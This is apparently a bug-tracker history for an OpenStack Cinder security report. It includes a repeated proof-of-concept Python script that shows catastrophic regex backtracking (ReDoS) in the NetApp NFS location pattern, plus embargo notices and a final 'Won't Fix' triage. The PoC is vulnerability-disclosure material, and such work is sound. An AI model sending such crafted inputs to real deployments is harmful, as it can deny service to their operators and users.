| 2023-12-29 08:47:52 |
lujiefsi |
bug |
|
|
added bug |
| 2023-12-29 08:49:11 |
lujiefsi |
description |
see redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/
a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
|
| 2024-01-03 16:59:41 |
Jeremy Stanley |
description |
What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/
a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2024-04-02 and will be made
public by or on that date even if no fix is identified.
What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/
a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
|
| 2024-01-03 16:59:53 |
Jeremy Stanley |
bug task added |
|
ossa |
|
| 2024-01-03 16:59:59 |
Jeremy Stanley |
ossa: status |
New |
Incomplete |
|
| 2024-01-03 17:00:20 |
Jeremy Stanley |
bug |
|
|
added subscriber Cinder Core security contacts |
| 2024-01-04 14:19:23 |
Jeremy Stanley |
description |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2024-04-02 and will be made
public by or on that date even if no fix is identified.
What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/
a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/
a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29
poc
```
import re
import datetime
nfs_loc_pattern = \
(r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'
r'*(/[^\/\\\\]+)$)')
def split(x):
string="nfs://-/." + "/."*x +"/"
starttime = datetime.datetime.now()
matched = re.match(nfs_loc_pattern, string, flags=0)
endtime = datetime.datetime.now()
print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds")
split(3)
split(30)
split(300)
split(3000)
``` |
|
| 2024-01-04 14:19:28 |
Jeremy Stanley |
information type |
Private Security |
Public |
|
| 2024-01-04 14:19:39 |
Jeremy Stanley |
tags |
|
security |
|
| 2024-01-04 14:19:45 |
Jeremy Stanley |
ossa: status |
Incomplete |
Won't Fix |
|
